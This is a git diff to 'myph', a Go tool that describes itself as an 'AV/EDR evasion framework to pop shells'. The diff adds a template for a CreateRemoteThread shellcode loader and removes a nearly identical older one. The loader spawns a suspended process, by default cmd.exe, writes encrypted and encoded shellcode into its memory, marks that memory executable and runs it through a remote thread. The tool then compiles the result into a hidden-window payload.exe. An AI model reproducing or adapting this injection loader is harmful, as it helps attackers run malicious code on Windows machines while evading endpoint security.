diff --git a/Makefile b/Makefile
@@ -1,18 +1,54 @@
-TARGET = myph
-SRC = main.go
+# Build configuration
+# -------------------
+
+APP_NAME = myph
+APP_VERSION = 2.0.0
+GIT_REVISION = `git rev-parse HEAD`
+DOCKER_IMAGE_TAG ?= $(APP_VERSION)
+DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
+
+# Introspection targets
+# ---------------------
.PHONY: all
all: compile
+
.PHONY: help
-help:
- @echo "\033[34mgork targets:\033[0m"
+help: header targets
+
+.PHONY: header
+header:
+ @echo "\033[34mEnvironment\033[0m"
+ @echo "\033[34m---------------------------------------------------------------\033[0m"
+ @printf "\033[33m%-23s\033[0m" "APP_NAME"
+ @printf "\033[35m%s\033[0m" $(APP_NAME)
+ @echo ""
+ @printf "\033[33m%-23s\033[0m" "APP_VERSION"
+ @printf "\033[35m%s\033[0m" $(APP_VERSION)
+ @echo ""
+ @printf "\033[33m%-23s\033[0m" "GIT_REVISION"
+ @printf "\033[35m%s\033[0m" $(GIT_REVISION)
+ @echo ""
+ @printf "\033[33m%-23s\033[0m" "DOCKER_IMAGE_TAG"
+ @printf "\033[35m%s\033[0m" $(DOCKER_IMAGE_TAG)
+ @echo ""
+ @printf "\033[33m%-23s\033[0m" "DOCKER_LOCAL_IMAGE"
+ @printf "\033[35m%s\033[0m" $(DOCKER_LOCAL_IMAGE)
+ @echo "\n"
+
+
+.PHONY: targets
+targets:
+ @echo "\033[34mmyph targets:\033[0m"
@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
+
.PHONY: compile
compile: ## compile the project
- @go build -o $(TARGET) $(SRC)
- .
+ @go build -o $(TARGET) .
+ @echo "[ *** build successful *** ]"
+
.PHONY: clean
clean: ## clean up the project directory
@rm -f $(TARGET)
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -11,7 +11,7 @@ func GetDefaultCLIOptions() Options {
Outdir: "myph-out",
OS: "windows",
arch: "amd64",
- Target: "",
+ Target: "cmd.exe",
Encryption: EncKindAES,
Key: "",
}
diff --git a/cli/parser.go b/cli/parser.go
@@ -10,16 +10,46 @@ import (
"github.com/spf13/cobra"
)
+const ASCII_ART = `
+ ... -==[ M Y P H ]==-
+ ;::::;
+ ;::::; :; In loving memory of
+ ;:::::' :; Wassyl Iaroslavovytch Slipak
+ ;:::::; ;.
+ ,:::::' ; OOO (1974 - 2016)
+ ::::::; ; OOOOO
+ ;:::::; ; OOOOOOOO
+ ,;::::::; ;' / OOOOOOO
+ ;::::::::: . ,,,;. / / DOOOOOO
+ .';:::::::::::::::::;, / / DOOOO
+ ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework
+; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and
+: ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry
+:: ::::::: ;:::::::: ;::::# / DOO
+ : ::::::: ;:::::: ;::::::#/ DOO
+ ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn
+ :::: ::::::: ;::::::::;:::# OO ------
+ ::::: ::::::::::::;' :;::# O https://djnn.sh
+ ::::: ::::::::; / / :#
+ :::::: :::::; / / #
+
+
+ `
+
+
func GetParser(opts *Options) *cobra.Command {
+
version := "2.0.0"
var cmd = &cobra.Command{
Use: "myph",
Version: version,
DisableSuggestions: true,
- Short: "minimal golang loader",
- Long: `In loving memory of Wassyl Iaroslavovytch Slipak (1974 - 2016)`,
+ Short: "AV/EDR evasion framework",
+ Long: ASCII_ART,
Run: func(cmd *cobra.Command, args []string) {
+ fmt.Printf("%s\n\n", ASCII_ART)
+
if opts.ShellcodePath == "" {
fmt.Println("[!] Please specify your shellcode's path with --shellcode")
os.Exit(1)
@@ -44,9 +74,13 @@ func GetParser(opts *Options) *cobra.Command {
opts.Key = tools.RandomString(32)
}
+ fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key)
+
/* encoding defines the way the series of bytes will be written into the template */
encType := tools.SelectRandomEncodingType()
+ fmt.Printf("\tEncoding into template with [%s]\n", encType.String())
+
/*
depending on encryption type, we do the following:
@@ -92,11 +126,13 @@ func GetParser(opts *Options) *cobra.Command {
}
/* TODO: add support for more exec templates */
- err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetSyscallTemplate(opts.Target))
+ err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetCRTTemplate(opts.Target))
os.Setenv("GOOS", opts.OS)
os.Setenv("GOARCH", opts.arch)
+ fmt.Printf("\n[+] Template (CRT) written to tmp directory. Compiling...\n")
+
execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
execCmd.Dir = opts.Outdir
@@ -107,7 +143,7 @@ func GetParser(opts *Options) *cobra.Command {
os.Exit(1)
}
- println("[+] Done! You may find your payload in out directory...")
+ println("[+] Done! You may find your payload in the out-directory...")
},
}
@@ -121,7 +157,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, RSA, XOR)")
- cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption-method)")
+ cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
return cmd
}
diff --git a/loaders/create_remote_thread.go b/loaders/create_remote_thread.go
@@ -0,0 +1,151 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetCRTTemplate(targetProcess string) string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "os"
+ "syscall"
+ "unsafe"
+ "strings"
+ "strconv"
+)
+
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_READWRITE = 0x4
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_EXECUTE_READWRITE = 0x40
+ PROCESS_CREATE_THREAD = 0x0002
+ PROCESS_QUERY_INFORMATION = 0x0400
+ PROCESS_VM_OPERATION = 0x0008
+ PROCESS_VM_WRITE = 0x0020
+ PROCESS_VM_READ = 0x0010
+ CREATE_SUSPENDED = 0x4
+ CREATE_NO_WINDOW = 0x8000000
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
+ VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
+ WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
+ OpenProcess = kernel32.MustFindProc("OpenProcess")
+ CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
+ closeHandle = kernel32.MustFindProc("CloseHandle")
+)
+
+
+func StringBytesParseString(byteString string) (string, error) {
+ byteString = strings.TrimSuffix(byteString, "]")
+ byteString = strings.TrimLeft(byteString, "[")
+ sByteString := strings.Split(byteString, " ")
+ var res []byte
+ for _, s := range sByteString {
+ i, err := strconv.ParseUint(s, 10, 64)
+ if err != nil {
+ return "", err
+ }
+ res = append(res, byte(i))
+ }
+
+ return string(res), nil
+}
+
+func loadProcess(target string) *syscall.ProcessInformation {
+ var si syscall.StartupInfo
+ var pi syscall.ProcessInformation
+
+ commandLine, err := syscall.UTF16PtrFromString(target)
+
+ if err != nil {
+ panic(err)
+ }
+
+ err = syscall.CreateProcess(
+ nil,
+ commandLine,
+ nil,
+ nil,
+ false,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ nil,
+ nil,
+ &si,
+ &pi)
+
+ if err != nil {
+ panic(err)
+ }
+
+ return &pi
+}
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ /* spawn target process */
+ process := loadProcess("%s")
+ oldProtectCfg := PAGE_READWRITE
+
+ /* allocating the appropriate amount of memory */
+ baseAddr, _, err := VirtualAllocEx.Call(
+ uintptr(process.Process),
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ )
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
+ }
+
+ /* overwriting process memory with our shellcode */
+ _, _, err = WriteProcessMemory.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ )
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
+ }
+
+ /* changing permissions for our memory segment */
+ _, _, err = VirtualProtectEx.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(len(shellcode)),
+ PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtectCfg)),
+ )
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
+ }
+
+ /* load remote thread */
+ _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
+ }
+
+ /* close process handler */
+ _, _, err = closeHandle.Call(uintptr(process.Process))
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
+ }
+}
+ `, targetProcess)
+}
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -1,151 +0,0 @@
-package loaders
-
-import (
- "fmt"
-)
-
-func GetSyscallTemplate(targetProcess string) string {
- return fmt.Sprintf(`
-package main
-
-import (
- "os"
- "syscall"
- "unsafe"
- "strings"
- "strconv"
-)
-
-
-const (
- MEM_COMMIT = 0x1000
- MEM_RESERVE = 0x2000
- PAGE_READWRITE = 0x4
- PAGE_EXECUTE_READ = 0x20
- PAGE_EXECUTE_READWRITE = 0x40
- PROCESS_CREATE_THREAD = 0x0002
- PROCESS_QUERY_INFORMATION = 0x0400
- PROCESS_VM_OPERATION = 0x0008
- PROCESS_VM_WRITE = 0x0020
- PROCESS_VM_READ = 0x0010
- CREATE_SUSPENDED = 0x4
- CREATE_NO_WINDOW = 0x8000000
-)
-
-var (
- kernel32 = syscall.MustLoadDLL("kernel32.dll")
- ntdll = syscall.MustLoadDLL("ntdll.dll")
-
- RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
-
- VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
- VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
- VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
- WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
- OpenProcess = kernel32.MustFindProc("OpenProcess")
- CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
- closeHandle = kernel32.MustFindProc("CloseHandle")
-)
-
-
-func StringBytesParseString(byteString string) (string, error) {
- byteString = strings.TrimSuffix(byteString, "]")
- byteString = strings.TrimLeft(byteString, "[")
- sByteString := strings.Split(byteString, " ")
- var res []byte
- for _, s := range sByteString {
- i, err := strconv.ParseUint(s, 10, 64)
- if err != nil {
- return "", err
- }
- res = append(res, byte(i))
- }
-
- return string(res), nil
-}
-
-func loadProcess(target string) *syscall.ProcessInformation {
- var si syscall.StartupInfo
- var pi syscall.ProcessInformation
-
- commandLine, err := syscall.UTF16PtrFromString(target)
-
- if err != nil {
- panic(err)
- }
-
- err = syscall.CreateProcess(
- nil,
- commandLine,
- nil,
- nil,
- false,
- CREATE_SUSPENDED | CREATE_NO_WINDOW,
- nil,
- nil,
- &si,
- &pi)
-
- if err != nil {
- panic(err)
- }
-
- return &pi
-}
-
-func ExecuteOrderSixtySix(shellcode []byte) {
-
- /* spawn target process */
- process := loadProcess("%s")
- oldProtectCfg := PAGE_READWRITE
-
- /* allocating the appropriate amount of memory */
- baseAddr, _, err := VirtualAllocEx.Call(
- uintptr(process.Process),
- 0,
- uintptr(len(shellcode)),
- MEM_COMMIT | MEM_RESERVE,
- PAGE_READWRITE,
- )
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-
- /* overwriting process memory with our shellcode */
- _, _, err = WriteProcessMemory.Call(
- uintptr(process.Process),
- baseAddr,
- uintptr(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- 0,
- )
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-
- /* changing permissions for our memory segment */
- _, _, err = VirtualProtectEx.Call(
- uintptr(process.Process),
- baseAddr,
- uintptr(len(shellcode)),
- PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtectCfg)),
- )
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-
- /* load remote thread */
- _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-
- /* close process handler */
- _, _, err = closeHandle.Call(uintptr(process.Process))
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-}
- `, targetProcess)
-}
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -17,7 +17,7 @@ type BytesEncodingType string
const (
EncodingBase64 BytesEncodingType = "base64"
EncodingBase32 BytesEncodingType = "base32"
- EncodingHex BytesEncodingType = "hex" // FIXME(djnn): update main template to support this
+ EncodingHex BytesEncodingType = "hex"
)
// / Available encodings type
diff --git a/tools/utils.go b/tools/utils.go
@@ -57,6 +57,8 @@ func DirExists(dir string) (bool, error) {
func CreateTmpProjectRoot(path string) error {
+ fmt.Printf("[+] Initializing temporary build directory\n")
+
/*
create a directory with the path name
defined by the options
@@ -68,6 +70,7 @@ func CreateTmpProjectRoot(path string) error {
}
if exists {
+ fmt.Printf("[!] %s already exists...Removing\n", path)
os.RemoveAll(path)
}
@@ -87,7 +90,6 @@ go 1.20
fo, err := os.Create(gomod_path)
fo.Write(go_mod)
- fmt.Println("[+] Project root created....")
maingo_path := fmt.Sprintf("%s/main.go", path)
_, _ = os.Create(maingo_path)
@@ -98,6 +100,7 @@ go 1.20
encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
_, _ = os.Create(encryptgo_path)
+ fmt.Printf("\tDone !\n\n")
return nil
}
| | | | | | |